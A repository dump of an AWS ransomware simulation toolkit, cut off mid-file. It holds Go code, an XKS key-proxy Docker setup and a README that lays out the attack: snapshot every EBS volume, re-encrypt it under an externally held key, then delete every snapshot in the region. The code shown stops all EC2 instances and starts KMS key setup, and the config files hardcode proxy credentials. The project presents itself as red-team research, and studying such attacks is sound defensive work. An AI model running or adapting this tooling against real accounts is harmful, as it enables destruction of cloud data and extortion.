├── KeySwitch ├── .gitignore ├── libebs │ ├── utils.go │ ├── defs.go │ ├── ec2.go │ ├── volumes.go │ └── snapshots.go ├── libswitch │ └── awsconf.go ├── liblogger │ └── init.go ├── cmd │ ├── utils.go │ ├── s3.go │ ├── rds.go │ ├── dynamodb.go │ ├── root.go │ ├── kms.go │ ├── setup.go │ └── ebs.go ├── main.go ├── go.mod └── go.sum ├── .gitignore ├── config ├── config.json └── settings.toml ├── .gitmodules ├── docker-compose.yml ├── Makefile ├── LICENSE ├── README.md └── Dockerfile /KeySwitch/.gitignore: -------------------------------------------------------------------------------- 1 | *.log -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Diagrams/ 2 | .env 3 | keyswitch 4 | -------------------------------------------------------------------------------- /config/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "XksProxyUriPath": "/aws-redteam-kit/kms/xks/v1", 3 | "XksProxyAuthenticationCredential": { 4 | "AccessKeyId": "AKIAHPRO52CGOA4VJPU4", 5 | "RawSecretAccessKey": "yTBJ7hqzT7TTtqCHGqFjJQDTJaZolkCz5i5h5TUSwHNUK1glZ6rMpQ==" 6 | } 7 | } -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "aws-kms-xksproxy-test-client"] 2 | path = aws-kms-xksproxy-test-client 3 | url = https://github.com/aws-samples/aws-kms-xksproxy-test-client.git 4 | [submodule "aws-kms-xks-proxy"] 5 | path = aws-kms-xks-proxy 6 | url = https://github.com/HarshVaragiya/aws-kms-xks-proxy 7 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | xks-proxy: 3 | image: xks-proxy:latest 4 | volumes: 5 | - "./config/settings.toml:/var/local/xks-proxy/.secret/settings.toml" 6 | ports: 7 | - "80:80" 8 | 9 | cloudflared: 10 | image: cloudflare/cloudflared:latest 11 | command: tunnel --loglevel debug --no-autoupdate run --token ${CLOUDFLARE_TUNNEL_TOKEN} 12 | -------------------------------------------------------------------------------- /KeySwitch/libebs/utils.go: -------------------------------------------------------------------------------- 1 | package libebs 2 | 3 | import ( 4 | "github.com/aws/aws-sdk-go-v2/aws" 5 | "github.com/aws/aws-sdk-go-v2/service/ec2/types" 6 | ) 7 | 8 | func GetEbsVolumeIds(volumes []types.Volume) []string { 9 | volumeIds := make([]string, len(volumes)) 10 | for i := 0; i < len(volumes); i++ { 11 | volumeIds[i] = aws.ToString(volumes[i].VolumeId) 12 | } 13 | return volumeIds 14 | } 15 | -------------------------------------------------------------------------------- /KeySwitch/libswitch/awsconf.go: -------------------------------------------------------------------------------- 1 | package libswitch 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/aws/aws-sdk-go-v2/aws" 7 | "github.com/aws/aws-sdk-go-v2/config" 8 | ) 9 | 10 | // We have this centralized so we can modify it if required. 11 | func GetDefaultAwsClientConfig() aws.Config { 12 | cfg, err := config.LoadDefaultConfig(context.TODO()) 13 | if err != nil { 14 | panic(err) 15 | } 16 | return cfg 17 | } 18 | -------------------------------------------------------------------------------- /KeySwitch/liblogger/init.go: -------------------------------------------------------------------------------- 1 | package liblogger 2 | 3 | import ( 4 | "github.com/sirupsen/logrus" 5 | ) 6 | 7 | var ( 8 | Log *logrus.Logger 9 | ) 10 | 11 | func init() { 12 | // f, err := os.OpenFile(fmt.Sprintf("keyswitch-%s.log", time.Now().Format("02-01-2006-15-04-05")), os.O_CREATE|os.O_APPEND, 0644) 13 | // if err != nil { 14 | // panic(fmt.Errorf("error opening output log file. error = %v", err)) 15 | // } 16 | Log = logrus.New() 17 | // Log.SetFormatter(&logrus.JSONFormatter{}) 18 | //Log.SetOutput(f) 19 | } 20 | -------------------------------------------------------------------------------- /KeySwitch/libebs/defs.go: -------------------------------------------------------------------------------- 1 | package libebs 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/HarshVaragiya/keyswitch/liblogger" 7 | "github.com/aws/aws-sdk-go-v2/service/ebs" 8 | "github.com/aws/aws-sdk-go-v2/service/ec2" 9 | ) 10 | 11 | var ( 12 | logger = liblogger.Log 13 | PAGINATION_SLEEP_TIME = time.Second * 1 14 | POLLING_TIME = time.Second * 30 15 | DELETE_API_RATE_LIMIT_DELAY = time.Second * 2 16 | ) 17 | 18 | type ComputeKeySwitcher struct { 19 | Region string 20 | ebsClient *ebs.Client 21 | ec2Client *ec2.Client 22 | } 23 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | keys: 2 | @echo "Generating some random keys that AWS will use to authenticate to our xks-proxy service ..." 3 | @echo "ACCESS_KEY_ID (sigv4_access_key_id) = AKIA$(shell openssl rand 10 | base32)" 4 | @echo "SECRET_ACCESS_KEY (sigv4_secret_access_key) = $(shell openssl rand 40 | base64)" 5 | @echo "Update the config/settings.toml file and start the xks-proxy service for change to take place!" 6 | 7 | xks-proxy: 8 | docker build -t xks-proxy:latest . 9 | 10 | infra: xks-proxy 11 | docker-compose up -d 12 | 13 | keyswitch: 14 | cd KeySwitch && go build -o ../keyswitch . 15 | -------------------------------------------------------------------------------- /KeySwitch/cmd/utils.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/sirupsen/logrus" 9 | ) 10 | 11 | func sanityCheckVariables() { 12 | if region == "" { 13 | logger.Fatalf("AWS Region string cannot be empty") 14 | } 15 | if kmsKeyArn == "" { 16 | logger.Fatalf("AWS KMS Key ARN cannot be empty") 17 | } 18 | setDebugLevel() 19 | } 20 | 21 | func setDebugLevel() { 22 | if debug { 23 | logger.Level = logrus.DebugLevel 24 | } 25 | } 26 | 27 | func getUserConfirmation(action string) { 28 | if I_KNOW_EXACTLY_WHAT_I_AM_DOING { 29 | logger.Warnf("SKIPPING USER CONFIRMATION for %s", action) 30 | return 31 | } 32 | fmt.Printf("Please confirm if you wish to proceed with '%s' (YES/NO) ? \n > ", action) 33 | reader := bufio.NewReader(os.Stdin) 34 | input, _ := reader.ReadString('\n') 35 | if input == "YES\n" { 36 | logger.Warnf("User confirmation recieved. I sure hope you know what you are doing.") 37 | } else { 38 | logger.Fatal("User confirmation declined.") 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright © 2024 Harsh Varagiya 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /KeySwitch/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package main 23 | 24 | import "github.com/HarshVaragiya/keyswitch/cmd" 25 | 26 | func main() { 27 | cmd.Execute() 28 | } 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AWS RedTeam Kit 2 | 3 | Aka - Aws Ransomware Simulation Kit 4 | 5 | This repository aims to be a PoC for the research project "Perfecting Ransomware on AWS." 6 | 7 | # Note 8 | - DO NOT ENCRYPT ANY DATA WITH THIS THAT YOU CAN'T AFFORD TO LOSE 9 | - This project is licensed under [MIT](LICENSE) 10 | - The Author is not responsible for any data loss occouring due to this project 11 | - Docker containers are ephemeral 12 | - This project is just a proof-of-concept ransomware simulation toolkit. It is NOT PRODUCTION GRADE. 13 | 14 | # KeySwitch 15 | 16 | The tool simulates a ransomware attack on a target by encrypting EBS volumes with the specified key. 17 | 18 | **Use this tool only if you know exactly what you are doing. It deletes all snapshots in an AWS Region** 19 | 20 | The tool works in the following manner : 21 | 1. Generate list of all EBS volumes in the region 22 | 2. Take snapshots of all volumes 23 | 3. Wait for snapshots to become Available. 24 | 4. Create new Volumes using the snapshots and specify encryption configuration as the KMS key. 25 | 5. Delete all the snapshots in the AWS Region (Nuke). 26 | 27 | # Simulating a Ransomware Attacking using ARK 28 | https://medium.com/@harsh8v/redefining-ransomware-attacks-on-aws-using-aws-kms-xks-dea668633802 29 | -------------------------------------------------------------------------------- /KeySwitch/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/HarshVaragiya/keyswitch 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/aws/aws-sdk-go-v2 v1.26.0 7 | github.com/aws/aws-sdk-go-v2/config v1.27.7 8 | github.com/aws/aws-sdk-go-v2/service/ebs v1.23.2 9 | github.com/aws/aws-sdk-go-v2/service/ec2 v1.150.1 10 | github.com/aws/aws-sdk-go-v2/service/kms v1.30.0 11 | github.com/sirupsen/logrus v1.9.3 12 | github.com/spf13/cobra v1.8.0 13 | ) 14 | 15 | require ( 16 | github.com/aws/aws-sdk-go-v2/credentials v1.17.7 // indirect 17 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.15.3 // indirect 18 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 // indirect 19 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 // indirect 20 | github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect 21 | github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 // indirect 22 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.5 // indirect 23 | github.com/aws/aws-sdk-go-v2/service/sso v1.20.2 // indirect 24 | github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.2 // indirect 25 | github.com/aws/aws-sdk-go-v2/service/sts v1.28.4 // indirect 26 | github.com/aws/smithy-go v1.20.1 // indirect 27 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 28 | github.com/jmespath/go-jmespath v0.4.0 // indirect 29 | github.com/spf13/pflag v1.0.5 // indirect 30 | golang.org/x/sys v0.18.0 // indirect 31 | ) 32 | -------------------------------------------------------------------------------- /config/settings.toml: -------------------------------------------------------------------------------- 1 | # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # SPDX-License-Identifier: Apache-2.0 3 | 4 | [server] 5 | ip = "0.0.0.0" 6 | port = 80 7 | region = "ap-south-1" 8 | service = "kms-xks-proxy" 9 | 10 | [server.tcp_keepalive] 11 | tcp_keepalive_secs = 60 12 | tcp_keepalive_retries = 5 13 | tcp_keepalive_interval_secs = 1 14 | 15 | [tracing] 16 | is_stdout_writer_enabled = true 17 | is_file_writer_enabled = false 18 | level = "DEBUG" 19 | 20 | [security] 21 | is_sigv4_auth_enabled = true 22 | is_tls_enabled = false 23 | is_mtls_enabled = false 24 | 25 | [[external_key_stores]] 26 | uri_path_prefix = "/aws-redteam-kit" 27 | sigv4_access_key_id = "AKIAHPRO52CGOA4VJPU4" 28 | # Access key ID must have between 20 and 30 characters. Valid characters are uppercase A-Z and 2-7 29 | sigv4_secret_access_key = "yTBJ7hqzT7TTtqCHGqFjJQDTJaZolkCz5i5h5TUSwHNUK1glZ6rMpQ==" 30 | # Secret access key must have between 43 and 64 characters. Valid characters are a-z, A-Z, 0-9, /, +, and = 31 | xks_key_id_set = ["foo"] 32 | # This should match the key name in dockerfile 33 | 34 | [pkcs11] 35 | session_pool_max_size = 30 36 | session_pool_timeout_milli = 0 37 | session_eager_close = false 38 | user_pin = "1234" 39 | # PKCS11_HSM_MODULE = "/usr/local/lib/pkcs11-logger-x64.so" 40 | PKCS11_HSM_MODULE = "/usr/lib/softhsm/libsofthsm2.so" 41 | context_read_timeout_milli = 10 42 | 43 | [pkcs11_logger] 44 | PKCS11_LOGGER_LIBRARY_PATH = "" 45 | PKCS11_LOGGER_LOG_FILE_PATH = "" 46 | PKCS11_LOGGER_FLAGS = "0" 47 | 48 | [limits] 49 | max_plaintext_in_base64 = 8192 50 | max_aad_in_base64 = 16384 51 | 52 | [hsm_capabilities] 53 | can_generate_iv = false 54 | is_zero_iv_required = false 55 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # SPDX-License-Identifier: Apache-2.0 3 | 4 | # See docker/README.md for more information. 5 | 6 | FROM ubuntu:22.04 7 | ENV HOME=/root 8 | ENV KEY_LABEL=foo 9 | ENV SO_PIN=1234 10 | ENV PIN=1234 11 | ENV LABEL="xks-proxy" 12 | ENV RUST_VERSION=1.75.0 13 | 14 | RUN mkdir -p $HOME/aws-kms-xks-proxy 15 | WORKDIR /app/ 16 | RUN apt update -y && apt install git softhsm opensc curl build-essential -y && \ 17 | git clone https://github.com/HarshVaragiya/aws-kms-xks-proxy.git && \ 18 | cp -r /app/aws-kms-xks-proxy/xks-axum/ $HOME/aws-kms-xks-proxy/xks-axum 19 | 20 | RUN softhsm2-util --init-token --slot 0 --label $LABEL --so-pin $SO_PIN --pin $PIN 21 | RUN pkcs11-tool --module /usr/lib/softhsm/libsofthsm2.so \ 22 | --token-label xks-proxy --login --login-type user \ 23 | --keygen --id F0 --label $KEY_LABEL --key-type AES:32 \ 24 | --pin $PIN 25 | 26 | RUN curl "https://static.rust-lang.org/dist/rust-$RUST_VERSION-x86_64-unknown-linux-gnu.tar.gz" -o rust.tar.gz && \ 27 | tar -xvf rust.tar.gz && cd "rust-$RUST_VERSION-x86_64-unknown-linux-gnu" && ./install.sh 28 | ENV PATH="$HOME/.cargo/bin:$PATH" 29 | 30 | RUN mkdir -p /var/local/xks-proxy/.secret 31 | 32 | ENV PROJECT_DIR=$HOME/aws-kms-xks-proxy/xks-axum 33 | RUN cargo build --release --manifest-path=$PROJECT_DIR/Cargo.toml && \ 34 | cp $PROJECT_DIR/target/release/xks-proxy /usr/sbin/xks-proxy 35 | 36 | # COPY /etc/softhsm/ /etc/softhsm/ 37 | # COPY /var/lib/softhsm/ /var/lib/softhsm/ 38 | # COPY /usr/lib/ /usr/lib/ 39 | # COPY /usr/bin/ /usr/bin/ 40 | # COPY /var/local/ /var/local/ 41 | # COPY /usr/sbin/xks-proxy /usr/sbin/xks-proxy 42 | EXPOSE 80 43 | ENV XKS_PROXY_SETTINGS_TOML=/var/local/xks-proxy/.secret/settings.toml \ 44 | RUST_BACKTRACE=1 45 | ENTRYPOINT ["/usr/sbin/xks-proxy"] 46 | -------------------------------------------------------------------------------- /KeySwitch/libebs/ec2.go: -------------------------------------------------------------------------------- 1 | package libebs 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/aws/aws-sdk-go-v2/aws" 8 | "github.com/aws/aws-sdk-go-v2/service/ec2" 9 | "github.com/sirupsen/logrus" 10 | ) 11 | 12 | func (comp *ComputeKeySwitcher) ListAllEc2Instances(ctx context.Context) ([]string, error) { 13 | instanceIds := make([]string, 0) 14 | nextToken := "" 15 | for { 16 | input := &ec2.DescribeInstancesInput{} 17 | if nextToken != "" { 18 | input.NextToken = aws.String(nextToken) 19 | } 20 | out, err := comp.ec2Client.DescribeInstances(ctx, input) 21 | if err != nil { 22 | err := fmt.Errorf("error fetching list of EC2 instances. error = %v", err) 23 | logger.WithFields(logrus.Fields{"region": comp.Region}).Error(err) 24 | return instanceIds, err 25 | } 26 | 27 | for _, reservation := range out.Reservations { 28 | for _, instance := range reservation.Instances { 29 | instanceIds = append(instanceIds, aws.ToString(instance.InstanceId)) 30 | } 31 | } 32 | 33 | if out.NextToken == nil { 34 | logger.WithFields(logrus.Fields{"region": comp.Region}).Infof("located %d instances", len(instanceIds)) 35 | break 36 | } else { 37 | nextToken = aws.ToString(out.NextToken) 38 | } 39 | 40 | } 41 | return instanceIds, nil 42 | } 43 | 44 | func (comp *ComputeKeySwitcher) StopAllEc2Instances(instanceIDs []string) error { 45 | _, err := comp.ec2Client.StopInstances(context.Background(), &ec2.StopInstancesInput{ 46 | InstanceIds: instanceIDs, 47 | }) 48 | if err != nil { 49 | err := fmt.Errorf("error making the stop instances API call. error = %v", err) 50 | logger.WithFields(logrus.Fields{"region": comp.Region}).Error(err) 51 | return err 52 | } 53 | logger.WithFields(logrus.Fields{"region": comp.Region}).Infof("done shutting down ec2 instances ...") 54 | return nil 55 | } 56 | -------------------------------------------------------------------------------- /KeySwitch/cmd/s3.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "fmt" 26 | 27 | "github.com/spf13/cobra" 28 | ) 29 | 30 | // s3Cmd represents the s3 command 31 | var s3Cmd = &cobra.Command{ 32 | Use: "s3", 33 | Short: "A brief description of your command", 34 | Long: `A longer description that spans multiple lines and likely contains examples 35 | and usage of using your command. For example: 36 | 37 | Cobra is a CLI library for Go that empowers applications. 38 | This application is a tool to generate the needed files 39 | to quickly create a Cobra application.`, 40 | Run: func(cmd *cobra.Command, args []string) { 41 | fmt.Println("s3 called") 42 | }, 43 | } 44 | 45 | func init() { 46 | rootCmd.AddCommand(s3Cmd) 47 | 48 | // Here you will define your flags and configuration settings. 49 | 50 | // Cobra supports Persistent Flags which will work for this command 51 | // and all subcommands, e.g.: 52 | // s3Cmd.PersistentFlags().String("foo", "", "A help for foo") 53 | 54 | // Cobra supports local flags which will only run when this command 55 | // is called directly, e.g.: 56 | // s3Cmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") 57 | } 58 | -------------------------------------------------------------------------------- /KeySwitch/cmd/rds.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "fmt" 26 | 27 | "github.com/spf13/cobra" 28 | ) 29 | 30 | // rdsCmd represents the rds command 31 | var rdsCmd = &cobra.Command{ 32 | Use: "rds", 33 | Short: "A brief description of your command", 34 | Long: `A longer description that spans multiple lines and likely contains examples 35 | and usage of using your command. For example: 36 | 37 | Cobra is a CLI library for Go that empowers applications. 38 | This application is a tool to generate the needed files 39 | to quickly create a Cobra application.`, 40 | Run: func(cmd *cobra.Command, args []string) { 41 | fmt.Println("rds called") 42 | }, 43 | } 44 | 45 | func init() { 46 | rootCmd.AddCommand(rdsCmd) 47 | 48 | // Here you will define your flags and configuration settings. 49 | 50 | // Cobra supports Persistent Flags which will work for this command 51 | // and all subcommands, e.g.: 52 | // rdsCmd.PersistentFlags().String("foo", "", "A help for foo") 53 | 54 | // Cobra supports local flags which will only run when this command 55 | // is called directly, e.g.: 56 | // rdsCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") 57 | } 58 | -------------------------------------------------------------------------------- /KeySwitch/cmd/dynamodb.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "fmt" 26 | 27 | "github.com/spf13/cobra" 28 | ) 29 | 30 | // dynamodbCmd represents the dynamodb command 31 | var dynamodbCmd = &cobra.Command{ 32 | Use: "dynamodb", 33 | Short: "A brief description of your command", 34 | Long: `A longer description that spans multiple lines and likely contains examples 35 | and usage of using your command. For example: 36 | 37 | Cobra is a CLI library for Go that empowers applications. 38 | This application is a tool to generate the needed files 39 | to quickly create a Cobra application.`, 40 | Run: func(cmd *cobra.Command, args []string) { 41 | fmt.Println("dynamodb called") 42 | }, 43 | } 44 | 45 | func init() { 46 | rootCmd.AddCommand(dynamodbCmd) 47 | 48 | // Here you will define your flags and configuration settings. 49 | 50 | // Cobra supports Persistent Flags which will work for this command 51 | // and all subcommands, e.g.: 52 | // dynamodbCmd.PersistentFlags().String("foo", "", "A help for foo") 53 | 54 | // Cobra supports local flags which will only run when this command 55 | // is called directly, e.g.: 56 | // dynamodbCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") 57 | } 58 | -------------------------------------------------------------------------------- /KeySwitch/cmd/root.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "os" 26 | 27 | "github.com/spf13/cobra" 28 | ) 29 | 30 | var ( 31 | debug = true 32 | region = "" 33 | kmsKeyArn = "" 34 | I_KNOW_EXACTLY_WHAT_I_AM_DOING = false 35 | ) 36 | 37 | // rootCmd represents the base command when called without any subcommands 38 | var rootCmd = &cobra.Command{ 39 | Use: "keyswitch", 40 | Short: "quickly switch the underlying AWS KMS encryption key for AWS resources", 41 | Long: ``, 42 | } 43 | 44 | // Execute adds all child commands to the root command and sets flags appropriately. 45 | // This is called by main.main(). It only needs to happen once to the rootCmd. 46 | func Execute() { 47 | err := rootCmd.Execute() 48 | if err != nil { 49 | os.Exit(1) 50 | } 51 | } 52 | 53 | func init() { 54 | rootCmd.PersistentFlags().BoolVarP(&debug, "debug", "v", true, "enable debug logs") 55 | rootCmd.PersistentFlags().StringVarP(®ion, "region", "r", "", "AWS Region to run script on") 56 | rootCmd.PersistentFlags().StringVarP(&kmsKeyArn, "key", "k", "", "KMS Key ID to use for encryption") 57 | rootCmd.PersistentFlags().BoolVar(&I_KNOW_EXACTLY_WHAT_I_AM_DOING, "i-know-what-i-am-doing-and-no-one-other-than-me-is-responsible-for-any-data-loss", false, "this flag skips all user confirmation asks. NEVER USE THIS") 58 | } 59 | -------------------------------------------------------------------------------- /KeySwitch/cmd/kms.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "context" 26 | 27 | "github.com/HarshVaragiya/keyswitch/libswitch" 28 | "github.com/aws/aws-sdk-go-v2/aws" 29 | "github.com/aws/aws-sdk-go-v2/service/kms" 30 | "github.com/aws/aws-sdk-go-v2/service/kms/types" 31 | "github.com/spf13/cobra" 32 | ) 33 | 34 | var ( 35 | description string 36 | xksKeyId string 37 | customKeyStoreId string 38 | ) 39 | 40 | // kmsCmd represents the kms command 41 | var kmsCmd = &cobra.Command{ 42 | Use: "kms", 43 | Short: "Setup KMS Symmetric keys for Ransomware Simultation", 44 | Long: ``, 45 | Run: func(cmd *cobra.Command, args []string) { 46 | SetupKmsKeyWithCks(context.TODO()) 47 | }, 48 | } 49 | 50 | func init() { 51 | rootCmd.AddCommand(kmsCmd) 52 | kmsCmd.PersistentFlags().StringVarP(&description, "description", "d", "AWS XKS Key", "description for the KMS Key") 53 | kmsCmd.PersistentFlags().StringVar(&xksKeyId, "xks-key-id", "thekey", "AWS XKS Key Id (present in dockerfile and settings.toml)") 54 | kmsCmd.PersistentFlags().StringVar(&customKeyStoreId, "cks", "aws-xks", "the custom key store id for the generated XKS") 55 | } 56 | 57 | func 